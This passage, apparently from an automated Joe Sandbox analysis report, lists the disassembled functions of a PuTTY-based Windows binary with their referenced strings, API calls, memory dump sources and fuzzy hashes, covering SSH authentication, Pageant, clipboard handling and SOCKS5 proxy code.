                                                                                                                                                    • New SSH password, xrefs: 0034BA5E
                                                                                                                                                    • Attempting keyboard-interactive authentication, xrefs: 0034A4DA
                                                                                                                                                    • Pageant failed to respond to signing request, xrefs: 003490E0
                                                                                                                                                    • Pageant has %zu SSH-2 keys, xrefs: 00348F1F
                                                                                                                                                    • SSH login name, xrefs: 0034971C
                                                                                                                                                    • Cannot use this private key (%s), xrefs: 0034B00A
                                                                                                                                                    • Trying gssapi-with-mic..., xrefs: 0034A25C
                                                                                                                                                    • Authentication plugin declined to help with keyboard-interactive, xrefs: 0034A689
                                                                                                                                                    • Started authentication plugin: %s, xrefs: 0034936A
                                                                                                                                                    • expected PLUGIN_KI_SERVER_RESPONSE or PLUGIN_PROTOCOL_USER_REQUEST, xrefs: 0034B9E7
                                                                                                                                                    • expected PLUGIN_INIT_RESPONSE or PLUGIN_INIT_FAILURE, xrefs: 003494C4
                                                                                                                                                    • password prompt, xrefs: 0034AAD8
                                                                                                                                                    • Received unexpected packet after SSH_MSG_USERAUTH_GSSAPI_ERRTOK (expected SSH_MSG_USERAUTH_FAILURE): type %d (%s), xrefs: 0034B495
                                                                                                                                                    • %s, xrefs: 0034BA15
                                                                                                                                                    • /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/ssh/userauth2-client.c, xrefs: 00349409, 0034A547, 0034AAE7, 0034B784, 0034B7F4
                                                                                                                                                    • password-change prompt, xrefs: 0034BDB2
                                                                                                                                                    • Unable to use this certificate file (%s), xrefs: 00349251
                                                                                                                                                    • Received malformed PLUGIN_INIT_RESPONSE from auth helper plugin, xrefs: 00349498
                                                                                                                                                    • Received unexpected packet in response to authentication request, type %d (%s), xrefs: 00349AA0
                                                                                                                                                    • Unable to load private key (%s), xrefs: 0034B195
                                                                                                                                                    • GSSAPI authentication initialisation failed, xrefs: 0034B361
                                                                                                                                                    • Attempting GSSAPI authentication, xrefs: 0034A2C5
                                                                                                                                                    • Passphrase for key "%s": , xrefs: 0034AF06
                                                                                                                                                    • Trying Pageant key #%zu, xrefs: 00349E28
                                                                                                                                                    • expected PLUGIN_PROTOCOL_ACCEPT or PLUGIN_PROTOCOL_REJECT, xrefs: 0034AC55
                                                                                                                                                    • Reading key file "%s", xrefs: 00348D1D
                                                                                                                                                    • End of keyboard-interactive prompts from server, xrefs: 0034B69C
                                                                                                                                                    • Offered public key, xrefs: 0034A886
                                                                                                                                                    • Unable to authenticate, xrefs: 0034AACC, 0034B1E5, 0034B616, 0034BDA6
                                                                                                                                                    • <, xrefs: 0034B49F
                                                                                                                                                    • Received malformed PLUGIN_PROTOCOL_REJECT from auth helper plugin, xrefs: 0034AD26
                                                                                                                                                    • End of banner message from server, xrefs: 00349A55
                                                                                                                                                    • Further authentication required, xrefs: 00349ACF
                                                                                                                                                    • publickey, xrefs: 00349BA4, 00349E83, 0034A81B, 0034A9EF, 0034AE27
                                                                                                                                                    • Authentication plugin set username '%s', xrefs: 0034957C
                                                                                                                                                    • Authenticating with public key "%.*s" from agent, xrefs: 0034A98D
                                                                                                                                                    • Sent new password, xrefs: 0034BCF6
                                                                                                                                                    • none, xrefs: 0034984D
                                                                                                                                                    • Server rejected new password, xrefs: 0034BD32
                                                                                                                                                    • gssapi-with-mic, xrefs: 00349C01, 0034A2B7, 0034B3FB
                                                                                                                                                    • Pageant's response was truncated, xrefs: 0034931D
                                                                                                                                                    • SSH key passphrase, xrefs: 0034AEEA
                                                                                                                                                    • Pre-authentication banner message from server:, xrefs: 0034996E
                                                                                                                                                    • Current password (blank for previously entered password): , xrefs: 0034BA91
                                                                                                                                                    • GSSAPI authentication loop finished OK, xrefs: 0034B3E0
                                                                                                                                                    • Pageant refused signing request, xrefs: 0034903F
                                                                                                                                                    • key type '%s' is not a certificate, xrefs: 00349624
                                                                                                                                                    • Confirm new password: , xrefs: 0034BACD
                                                                                                                                                    • Password authentication failed, xrefs: 0034AAF9
                                                                                                                                                    • Access denied, xrefs: 0034AB12
                                                                                                                                                    • Offer of public key accepted, xrefs: 0034A8CD
                                                                                                                                                    • Authentication plugin failed to set up keyboard-interactive authentication:, xrefs: 0034A5E8
                                                                                                                                                    • Sending Pageant's response, xrefs: 003495BC
                                                                                                                                                    • <, xrefs: 0034B62C
                                                                                                                                                    • Trying gssapi-keyex..., xrefs: 0034A1BD
                                                                                                                                                    • Key file contains public key only, xrefs: 00348D9E
                                                                                                                                                    • GSSAPI authentication - bad server response, xrefs: 0034B452
                                                                                                                                                    • s->type == AUTH_TYPE_PASSWORD, xrefs: 0034AAEC
                                                                                                                                                    • GSSAPI authentication initialised, xrefs: 0034B245
                                                                                                                                                    • Wrong passphrase, xrefs: 0034B17F
                                                                                                                                                    • No supported authentication methods available (server sent: %s), xrefs: 0034AC03
                                                                                                                                                    • GSSAPI authentication failed to get credentials, xrefs: 0034ABCA
                                                                                                                                                    • Access granted, xrefs: 0034AC0D
                                                                                                                                                    • Further authentication required, xrefs: 00349AE6
                                                                                                                                                    • s->authplugin, xrefs: 0034940E, 0034A54C, 0034B789, 0034B7F9
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: _strlen$_strcat
                                                                                                                                                    • String ID: %.*s$%s$%s@%s's password: $/home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/ssh/userauth2-client.c$<$<$Access denied$Access granted$Attempting GSSAPI authentication$Attempting keyboard-interactive authentication$Auth helper plugin announced unsupported version number %u$Authenticating with public key "%.*s" from agent$Authenticating with public key "%s"$Authentication plugin agreed to help with keyboard-interactive$Authentication plugin declined to help with keyboard-interactive$Authentication plugin declined to help with keyboard-interactive: %.*s$Authentication plugin failed to initialise:$Authentication plugin failed to set up keyboard-interactive authentication:$Authentication plugin set username '%s'$Authentication was trivial! Abandoning session as specified in configuration.$Cannot use this private key (%s)$Configured key file not in Pageant$Confirm new password: $Current password (blank for previously entered password): $End of banner message from server$End of keyboard-interactive prompts from plugin$End of keyboard-interactive prompts from server$Enter new password: $Failed to get reply from Pageant$Further authentication required$Further authentication required$GSSAPI authentication - bad server response$GSSAPI authentication - wrong response from server$GSSAPI authentication failed$GSSAPI authentication failed to get credentials$GSSAPI authentication initialisation failed$GSSAPI authentication initialised$GSSAPI authentication loop finished OK$GSSAPI authentication request refused$GSSAPI import name failed$GSSAPI import name failed - Bad service name$Key file contains public key only$New SSH password$No supported authentication methods available$No supported authentication methods available (server sent: %s)$Offer of public key accepted$Offered public key$Pageant failed to provide a signature$Pageant failed to respond to signing request$Pageant failed to respond to signing request$Pageant has %zu SSH-2 keys$Pageant is running. Requesting keys.$Pageant key #%zu matches configured key file$Pageant refused signing request$Pageant's response was truncated$Passphrase for key "%s": $Password authentication failed$Passwords do not match$Pre-authentication banner message from server:$Reading certificate file "%s"$Reading key file "%s"$Received malformed PLUGIN_INIT_FAILURE from auth helper plugin$Received malformed PLUGIN_INIT_RESPONSE from auth helper plugin$Received malformed PLUGIN_PROTOCOL_REJECT from auth helper plugin$Received unexpected packet after SSH_MSG_USERAUTH_GSSAPI_ERRTOK (expected SSH_MSG_USERAUTH_FAILURE): type %d (%s)$Received unexpected packet in response to authentication request, type %d (%s)$SSH key passphrase$SSH login name$Sending Pageant's response$Sent new password$Sent password$Sent public key signature$Server refused public-key signature despite accepting key!$Server refused public-key signature despite accepting key!$Server rejected new password$Server requested password change$Started authentication plugin: %s$Trying Pageant key #%zu$Trying gssapi-keyex...$Trying gssapi-with-mic...$Unable to authenticate$Unable to load key (%s)$Unable to load key file "%s" (%s)$Unable to load private key (%s)$Unable to use certificate file "%s" (%s)$Unable to use key file "%s" (%s)$Unable to use this certificate file (%s)$Unable to use this key file (%s)$Using username "%s".$Wrong passphrase$expected PLUGIN_INIT_RESPONSE or PLUGIN_INIT_FAILURE$expected PLUGIN_KI_SERVER_RESPONSE or PLUGIN_PROTOCOL_USER_REQUEST$expected PLUGIN_PROTOCOL_ACCEPT or PLUGIN_PROTOCOL_REJECT$gssapi-keyex$gssapi-with-mic$key type '%s' is not a certificate$keyboard-interactive authentication prompt$login as: $none$passphrase prompt$password$password prompt$password-change prompt$publickey$s->authplugin$s->type == AUTH_TYPE_PASSWORD$unrecognised certificate type '%s'$username prompt
                                                                                                                                                    • API String ID: 1497175149-2033318085
                                                                                                                                                    • Opcode ID: 9a19572ef7da1094feee09be34ec28c8e1e78943d74607ba318ca043ae796976
                                                                                                                                                    • Instruction ID: 4c4653ad3c3b03bdf78a638e46bef8bb059342e0838a2d6a77544bda36512544
                                                                                                                                                    • Opcode Fuzzy Hash: 9a19572ef7da1094feee09be34ec28c8e1e78943d74607ba318ca043ae796976
                                                                                                                                                    • Instruction Fuzzy Hash: 3753A4B59007009FDB22AF64EC46FAAB7E5AF55304F044429F84A9F352EB32F954CB52
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 00345060 Relevance: 189.7, APIs: 2, Strings: 105, Instructions: 2486COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    Strings
                                                                                                                                                    • No reply received from Pageant, xrefs: 00346425
                                                                                                                                                    • Sent password, xrefs: 00346F51
                                                                                                                                                    • Encryption not successfully enabled, xrefs: 00345AA4
                                                                                                                                                    • Using Blowfish encryption, xrefs: 00345773
                                                                                                                                                    • Sending length-padded password, xrefs: 00346DAC
                                                                                                                                                    • Server's RSA challenge was badly formatted, xrefs: 00346474
                                                                                                                                                    • Wrong passphrase., xrefs: 0034647E
                                                                                                                                                    • -- TIS authentication challenge from server: ---------------------------------, xrefs: 003469D1
                                                                                                                                                    • SSH password, xrefs: 00346CE1
                                                                                                                                                    • Unable to use key file "%s" (%s), xrefs: 00345B3E
                                                                                                                                                    • Trying to enable encryption..., xrefs: 00345805
                                                                                                                                                    • username prompt, xrefs: 00345204
                                                                                                                                                    • Failed to get reply from Pageant, xrefs: 00345EFD
                                                                                                                                                    • Server refused to compress, xrefs: 003471A7
                                                                                                                                                    • Unable to use this key file (%s), xrefs: 00345B0D
                                                                                                                                                    • Successfully started encryption, xrefs: 003458CD
                                                                                                                                                    • Received unexpected packet in response to compression request, type %d (%s), xrefs: 00347298
                                                                                                                                                    • Pageant key #%zu matches configured key file, xrefs: 003460D8
                                                                                                                                                    • Authentication was trivial! Abandoning session as specified in configuration., xrefs: 003470C9
                                                                                                                                                    • login as: , xrefs: 00345AE0
                                                                                                                                                    • Pageant failed to answer challenge, xrefs: 00346401
                                                                                                                                                    • Received CryptoCard challenge, xrefs: 00346B8B
                                                                                                                                                    • Blowfish, xrefs: 0034569C
                                                                                                                                                    • TIS challenge packet was badly formed, xrefs: 00347278
                                                                                                                                                    • Received unexpected packet in response to RSA authentication, type %d (%s), xrefs: 00347245
                                                                                                                                                    • TIS authentication response: , xrefs: 00346A66, 00346CA1
                                                                                                                                                    • Unable to load key file "%s" (%s), xrefs: 00345B85
                                                                                                                                                    • -- End of CryptoCard authentication challenge from server: -------------------, xrefs: 00346C6A
                                                                                                                                                    • CryptoCard authentication response: , xrefs: 00346C78
                                                                                                                                                    • No supported authentication methods available, xrefs: 003471E2
                                                                                                                                                    • Pageant is running. Requesting keys., xrefs: 00345C93
                                                                                                                                                    • cipher, xrefs: 00345C00
                                                                                                                                                    • host key verification, xrefs: 0034557F
                                                                                                                                                    • Public key packet not received, xrefs: 003453E8
                                                                                                                                                    • Configured key file not in Pageant, xrefs: 00345F7E
                                                                                                                                                    • No supported ciphers found, xrefs: 00345BDA
                                                                                                                                                    • Using single-DES encryption, xrefs: 0034576C, 00345778
                                                                                                                                                    • Server refused our public key., xrefs: 003466E1
                                                                                                                                                    • pwlen >= bottom && pwlen <= top, xrefs: 00346EBE
                                                                                                                                                    • Key refused, xrefs: 003463DF
                                                                                                                                                    • p6, xrefs: 0034585B, 00345867
                                                                                                                                                    • %s@%s's password: , xrefs: 00346CFD
                                                                                                                                                    • -- CryptoCard authentication challenge from server: --------------------------, xrefs: 00346BDF
                                                                                                                                                    • Received unexpected packet in response to password authentication, type %d (%s), xrefs: 0034726B
                                                                                                                                                    • passphrase prompt, xrefs: 00347212
                                                                                                                                                    • single-DES, xrefs: 003456D0
                                                                                                                                                    • CryptoCard authentication refused., xrefs: 00346B4B
                                                                                                                                                    • false && "unexpected return from rsa1_load_f()", xrefs: 003472BA
                                                                                                                                                    • Server refused to enable compression, xrefs: 0034718E
                                                                                                                                                    • Couldn't load private key from %s (%s)., xrefs: 003465EF
                                                                                                                                                    • Authentication successful, xrefs: 003470D3
                                                                                                                                                    • Trying public key "%s", xrefs: 00346048
                                                                                                                                                    • Unable to load key (%s), xrefs: 00345B5B
                                                                                                                                                    • Authentication refused, xrefs: 00346FF5
                                                                                                                                                    • Received TIS challenge, xrefs: 0034697B
                                                                                                                                                    • -- End of TIS authentication challenge from server: --------------------------, xrefs: 00346A58
                                                                                                                                                    • SSH login name, xrefs: 00345ACA
                                                                                                                                                    • password prompt, xrefs: 0034721C
                                                                                                                                                    • SSH-1 public keys were badly formatted, xrefs: 00345458
                                                                                                                                                    • Bad SSH-1 public key packet, xrefs: 00345393
                                                                                                                                                    • Server violates SSH-1 protocol by not supporting 3DES encryption, xrefs: 0034571E
                                                                                                                                                    • Using 3DES encryption, xrefs: 00345758
                                                                                                                                                    • AES not supported in SSH-1, skipping, xrefs: 003456A8
                                                                                                                                                    • Passphrase for key "%s": , xrefs: 003464D7
                                                                                                                                                    • No passphrase required., xrefs: 00346088
                                                                                                                                                    • DZ<, xrefs: 0034584B
                                                                                                                                                    • cipher warning, xrefs: 00345259
                                                                                                                                                    • Trying Pageant key #%zu, xrefs: 0034611E
                                                                                                                                                    • Reading key file "%s", xrefs: 00345A05
                                                                                                                                                    • %s, xrefs: 00345341
                                                                                                                                                    • Sending password with camouflage packets, xrefs: 00346ED3
                                                                                                                                                    • Requested TIS authentication, xrefs: 0034689B
                                                                                                                                                    • Pageant has %zu SSH-1 keys, xrefs: 00345F14
                                                                                                                                                    • CryptoCard challenge packet was badly formed, xrefs: 00347282
                                                                                                                                                    • SSH-1 public key encryptions failed due to bad formatting, xrefs: 0034572E
                                                                                                                                                    • t[<, xrefs: 00345850
                                                                                                                                                    • Sending unpadded password, xrefs: 00346EEF
                                                                                                                                                    • TIS authentication refused., xrefs: 0034693E
                                                                                                                                                    • Requested CryptoCard authentication, xrefs: 00346AB8
                                                                                                                                                    • Host key fingerprint is:, xrefs: 00345323
                                                                                                                                                    • 3DES, xrefs: 00345682
                                                                                                                                                    • Pageant's response was truncated, xrefs: 00345FB5
                                                                                                                                                    • Sent username "%s", xrefs: 00345938
                                                                                                                                                    • SSH key passphrase, xrefs: 003464BE
                                                                                                                                                    • Failed to authenticate with our public key., xrefs: 0034683F
                                                                                                                                                    • Received unexpected packet in response to TIS authentication, type %d (%s), xrefs: 00347232
                                                                                                                                                    • Access denied, xrefs: 00346FDE
                                                                                                                                                    • Received public keys, xrefs: 0034529E
                                                                                                                                                    • SSH CryptoCard authentication, xrefs: 00346BBB
                                                                                                                                                    • SSH TIS authentication, xrefs: 003469AB
                                                                                                                                                    • Authenticated using RSA key "%.*s" from agent, xrefs: 003463BF
                                                                                                                                                    • Sending Pageant's response, xrefs: 003462E9
                                                                                                                                                    • Pageant's response not accepted, xrefs: 003463FA
                                                                                                                                                    • TIS authentication declined, xrefs: 00346915
                                                                                                                                                    • Key file contains public key only, xrefs: 00345A70
                                                                                                                                                    • Received unexpected packet in response to offer of public key, type %d (%s), xrefs: 00347258
                                                                                                                                                    • Sent username "%s", xrefs: 0034597A
                                                                                                                                                    • Received RSA challenge, xrefs: 003461B0
                                                                                                                                                    • Encrypted session key, xrefs: 0034562C
                                                                                                                                                    • Pageant's response accepted, xrefs: 00346375
                                                                                                                                                    • rsa, xrefs: 003454F4
                                                                                                                                                    • /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/ssh/login1.c, xrefs: 00346EB9, 003472B5
                                                                                                                                                    • Requesting compression, xrefs: 00347104
                                                                                                                                                    • CryptoCard authentication declined, xrefs: 00346B32
                                                                                                                                                    • Trying public key authentication., xrefs: 00346025
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID:
                                                                                                                                                    • String ID: %s$%s@%s's password: $-- CryptoCard authentication challenge from server: --------------------------$-- End of CryptoCard authentication challenge from server: -------------------$-- End of TIS authentication challenge from server: --------------------------$-- TIS authentication challenge from server: ---------------------------------$/home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/ssh/login1.c$3DES$AES not supported in SSH-1, skipping$Access denied$Authenticated using RSA key "%.*s" from agent$Authentication refused$Authentication successful$Authentication was trivial! Abandoning session as specified in configuration.$Bad SSH-1 public key packet$Blowfish$Configured key file not in Pageant$Couldn't load private key from %s (%s).$CryptoCard authentication declined$CryptoCard authentication refused.$CryptoCard authentication response: $CryptoCard challenge packet was badly formed$DZ<$Encrypted session key$Encryption not successfully enabled$Failed to authenticate with our public key.$Failed to get reply from Pageant$Host key fingerprint is:$Key file contains public key only$Key refused$No passphrase required.$No reply received from Pageant$No supported authentication methods available$No supported ciphers found$Pageant failed to answer challenge$Pageant has %zu SSH-1 keys$Pageant is running. Requesting keys.$Pageant key #%zu matches configured key file$Pageant's response accepted$Pageant's response not accepted$Pageant's response was truncated$Passphrase for key "%s": $Public key packet not received$Reading key file "%s"$Received CryptoCard challenge$Received RSA challenge$Received TIS challenge$Received public keys$Received unexpected packet in response to RSA authentication, type %d (%s)$Received unexpected packet in response to TIS authentication, type %d (%s)$Received unexpected packet in response to compression request, type %d (%s)$Received unexpected packet in response to offer of public key, type %d (%s)$Received unexpected packet in response to password authentication, type %d (%s)$Requested CryptoCard authentication$Requested TIS authentication$Requesting compression$SSH CryptoCard authentication$SSH TIS authentication$SSH key passphrase$SSH login name$SSH password$SSH-1 public key encryptions failed due to bad formatting$SSH-1 public keys were badly formatted$Sending Pageant's response$Sending length-padded password$Sending password with camouflage packets$Sending unpadded password$Sent password$Sent username "%s"$Sent username "%s"$Server refused our public key.$Server refused to compress$Server refused to enable compression$Server violates SSH-1 protocol by not supporting 3DES encryption$Server's RSA challenge was badly formatted$Successfully started encryption$TIS authentication declined$TIS authentication refused.$TIS authentication response: $TIS challenge packet was badly formed$Trying Pageant key #%zu$Trying public key "%s"$Trying public key authentication.$Trying to enable encryption...$Unable to load key (%s)$Unable to load key file "%s" (%s)$Unable to use key file "%s" (%s)$Unable to use this key file (%s)$Using 3DES encryption$Using Blowfish encryption$Using single-DES encryption$Wrong passphrase.$cipher$cipher warning$false && "unexpected return from rsa1_load_f()"$host key verification$login as: $passphrase prompt$password prompt$pwlen >= bottom && pwlen <= top$p6$rsa$single-DES$t[<$username prompt
                                                                                                                                                    • API String ID: 0-1674234155
                                                                                                                                                    • Opcode ID: 5a2b98f5a993eae21abb8972b26984bde44a18d5c246f76f847c1a5b8c921174
                                                                                                                                                    • Instruction ID: b7792031d9d9f25b9d8e1c065a84aec1dd5d9e42a902f4c06e534142285e0e1d
                                                                                                                                                    • Opcode Fuzzy Hash: 5a2b98f5a993eae21abb8972b26984bde44a18d5c246f76f847c1a5b8c921174
                                                                                                                                                    • Instruction Fuzzy Hash: 4D13C5B5D00240AFDB22AF64EC86F9A77A4AF15304F054464FC499F253E772E958CBA3
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 002F4877 Relevance: 131.9, APIs: 52, Strings: 23, Instructions: 698windowtimeCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: Menu$Append$Create$Window$Rect$CapsClientDevice$BitmapCaretClickDeleteDesktopDoubleErrorInfoLastPopupReleaseScrollSystemTime
                                                                                                                                                    • String ID: &About %s$&Copy$&Duplicate Session$&Event Log$&Full Screen$&Help$&Paste$($(No sessions)$/home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/windows/window.c$C&lear Scrollback$C&opy All to Clipboard$Chan&ge Settings...$F~=$F~=$Ne&w Session...$Rese&t Terminal$Running with restricted process ACL$Sa&ved Sessions$Unable to create terminal window: %s$dp;$term->mouse_select_clipboards[0] == CLIP_LOCAL$;
                                                                                                                                                    • API String ID: 662650409-1412097748
                                                                                                                                                    • Opcode ID: 9f38b675d1d36840f95c0fa8316469a8d308b64487b46b92b7e7fe7a2172b602
                                                                                                                                                    • Instruction ID: 024c0043fce22f4be0c11751128d22aa3d219a912d4e7b6e6676101fd7d596c1
                                                                                                                                                    • Opcode Fuzzy Hash: 9f38b675d1d36840f95c0fa8316469a8d308b64487b46b92b7e7fe7a2172b602
                                                                                                                                                    • Instruction Fuzzy Hash: 1F32B371650305EFE713AF60FC46F7A7BA8EB45745F000128FA09AA2F2D7B2A814CB55
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 002F7430 Relevance: 77.9, APIs: 28, Strings: 16, Instructions: 851clipboardmemorywindowCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000), ref: 002F7474
                                                                                                                                                    • GlobalAlloc.KERNEL32(00002002,?), ref: 002F748A
                                                                                                                                                    • GlobalAlloc.KERNEL32(00002002,00000000), ref: 002F7498
                                                                                                                                                    • GlobalLock.KERNEL32 ref: 002F74AD
                                                                                                                                                    • GlobalLock.KERNEL32 ref: 002F74BE
                                                                                                                                                    • WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,?,00000000,00000000), ref: 002F7505
                                                                                                                                                    • GlobalFree.KERNEL32 ref: 002F75C6
                                                                                                                                                    • GlobalFree.KERNEL32 ref: 002F75D5
                                                                                                                                                    • GlobalUnlock.KERNEL32(00000000), ref: 002F7665
                                                                                                                                                    • GlobalFree.KERNEL32 ref: 002F7672
                                                                                                                                                    • GlobalFree.KERNEL32 ref: 002F7675
                                                                                                                                                    • GlobalUnlock.KERNEL32(00000000), ref: 002F7ED2
                                                                                                                                                    • GlobalUnlock.KERNEL32(?), ref: 002F7ED9
                                                                                                                                                    • SendMessageA.USER32(00008002,00000001,00000000), ref: 002F7EEE
                                                                                                                                                    • OpenClipboard.USER32 ref: 002F7EFA
                                                                                                                                                    • EmptyClipboard.USER32 ref: 002F7F04
                                                                                                                                                    • SetClipboardData.USER32 ref: 002F7F13
                                                                                                                                                    • SetClipboardData.USER32 ref: 002F7F18
                                                                                                                                                    • RegisterClipboardFormatA.USER32(Rich Text Format), ref: 002F7F26
                                                                                                                                                    • SetClipboardData.USER32 ref: 002F7F2E
                                                                                                                                                    • CloseClipboard.USER32 ref: 002F7F34
                                                                                                                                                    • SendMessageA.USER32(00008002,00000000,00000000), ref: 002F7F62
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: Global$Clipboard$Free$DataUnlock$AllocByteCharLockMessageMultiSendWide$CloseEmptyFormatOpenRegister
                                                                                                                                                    • String ID: /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/windows/window.c$Rich Text Format$\'%02x$\b $\b0 $\cf%d $\highlight%d $\par$\red%d\green%d\blue%d;$\ul $\ulnone $tindex + multilen <= len2${\colortbl ;${\rtf1\ansi\deff0{\fonttbl\f0\fmodern %s;}\f0\fs%d${\uc%d\u%d$}
                                                                                                                                                    • API String ID: 2045886889-2641375427
                                                                                                                                                    • Opcode ID: fb052e7324b7db04b87490c9ee5a6108549097814907905b7eeaaaf2d951cfca
                                                                                                                                                    • Instruction ID: 8e226b3ef08eda5aa57074bd64f49ba0a847de5a0038e6243f61fc3be75d5ded
                                                                                                                                                    • Opcode Fuzzy Hash: fb052e7324b7db04b87490c9ee5a6108549097814907905b7eeaaaf2d951cfca
                                                                                                                                                    • Instruction Fuzzy Hash: CB522371918359ABD7219F24DC41B7BF7E5AF80390F144A3DFA98962D1E7B19820CB82
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 003602F0 Relevance: 70.9, APIs: 4, Strings: 36, Instructions: 876COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    Strings
                                                                                                                                                    • SOCKS 5 authentication cannot support passwords longer than 255 chars, xrefs: 00360BF4
                                                                                                                                                    • SOCKS 5 CHAP authentication cannot support usernames longer than 255 chars, xrefs: 00360BCE
                                                                                                                                                    • connection not allowed by ruleset, xrefs: 003608BE
                                                                                                                                                    • SOCKS proxy returned unexpected reply version %d (expected %d), xrefs: 003607FB
                                                                                                                                                    • SOCKS server sent unrecognised error code %d, xrefs: 00360462
                                                                                                                                                    • SOCKS server reported failure to connect, xrefs: 0036046C
                                                                                                                                                    • SOCKS 5 CHAP reply sent no attributes, xrefs: 00360C4B
                                                                                                                                                    • SOCKS 5 password reply had version number %d (expected %d), xrefs: 00360BD8
                                                                                                                                                    • connection refused, xrefs: 003608D3
                                                                                                                                                    • false && "bad auth method in SOCKS 5 negotiation", xrefs: 00360C05
                                                                                                                                                    • /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/proxy/socks5.c, xrefs: 00360B62, 00360C00, 00360E5D
                                                                                                                                                    • Proxy username: , xrefs: 00360951
                                                                                                                                                    • command not supported, xrefs: 003608E1
                                                                                                                                                    • SOCKS version 4 does not support IPv6, xrefs: 0036045A
                                                                                                                                                    • SOCKS 5 CHAP reply had version number %d (expected %d), xrefs: 00360C5D
                                                                                                                                                    • unknown, xrefs: 003607CE, 003607DE, 003608B7, 003608ED
                                                                                                                                                    • SOCKS server asked for auth method %d (%s), which we did not offer, xrefs: 003607E3
                                                                                                                                                    • SOCKS server wanted IDENTD on client, xrefs: 00360473
                                                                                                                                                    • host unreachable, xrefs: 003608CC
                                                                                                                                                    • SOCKS 5 cannot support host names longer than 255 chars, xrefs: 00360E06
                                                                                                                                                    • SOCKS proxy response contained reply version number %d (expected 0), xrefs: 003603D6
